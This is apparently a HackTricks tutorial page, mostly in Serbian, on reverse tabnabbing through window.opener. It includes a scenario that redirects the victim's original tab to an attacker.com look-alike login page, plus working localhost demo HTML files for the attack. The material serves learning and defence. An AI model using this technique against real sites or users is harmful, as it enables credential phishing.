6.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Opis
U situaciji gde napadač može da kontroliše href
argument <a
taga sa atributom target="_blank" rel="opener"
koji će biti kliknut od strane žrtve, napadač usmerava ovu vezu na web stranicu pod njegovom kontrolom (maliciozna web stranica). Kada žrtva klikne na link i pristupi napadačevoj web stranici, ova maliciozna web stranica će moći da kontroliše originalnu stranicu putem javascript objekta window.opener
.
Ako stranica nema rel="opener"
ali sadrži target="_blank"
i takođe nema rel="noopener"
, može biti takođe ranjiva.
Uobičajen način zloupotrebe ovog ponašanja bio bi da se promeni lokacija originalnog web-a putem window.opener.location = https://attacker.com/victim.html
na web pod kontrolom napadača koja izgleda kao originalna, tako da može da imitira login formu originalne web stranice i traži od korisnika kredencijale.
Međutim, imajte na umu da pošto napadač sada može da kontroliše objekat prozora originalne web stranice, može ga zloupotrebiti na druge načine za izvođenje diskretnijih napada (možda modifikovanjem javascript događaja da izvuče informacije na server pod njegovom kontrolom?)
Pregled
Sa povratnim linkom
Link između roditeljskih i dečijih stranica kada atribut za prevenciju nije korišćen:
Bez povratnog linka
Link između roditeljskih i dečijih stranica kada je atribut za prevenciju korišćen:
Primeri
Kreirajte sledeće stranice u folderu i pokrenite web server sa python3 -m http.server
Zatim, pristupite http://127.0.0.1:8000/
vulnerable.html, kliknite na link i primetite kako se URL originalne web stranice menja.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% endcode %}
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% endcode %}
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Accessible properties
U scenariju gde se dešava cross-origin pristup (pristup preko različitih domena), svojstva window JavaScript klase, na koja se poziva putem opener JavaScript objekta, koja mogu biti dostupna zloćudnom sajtu su ograničena na sledeće:
opener.closed
: Ovo svojstvo se koristi da se utvrdi da li je prozor zatvoren, vraćajući boolean vrednost.opener.frames
: Ovo svojstvo omogućava pristup svim iframe elementima unutar trenutnog prozora.opener.length
: Broj iframe elemenata prisutnih u trenutnom prozoru se vraća ovim svojstvom.opener.opener
: Referenca na prozor koji je otvorio trenutni prozor može se dobiti putem ovog svojstva.opener.parent
: Ovo svojstvo vraća roditeljski prozor trenutnog prozora.opener.self
: Pristup trenutnom prozoru se obezbeđuje ovim svojstvom.opener.top
: Ovo svojstvo vraća najgornji prozor pretraživača.
Međutim, u slučajevima kada su domeni identični, zloćudni sajt dobija pristup svim svojstvima koja izlaže window JavaScript objekat.
Prevention
Informacije o prevenciji su dokumentovane u HTML5 Cheat Sheet.
References
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.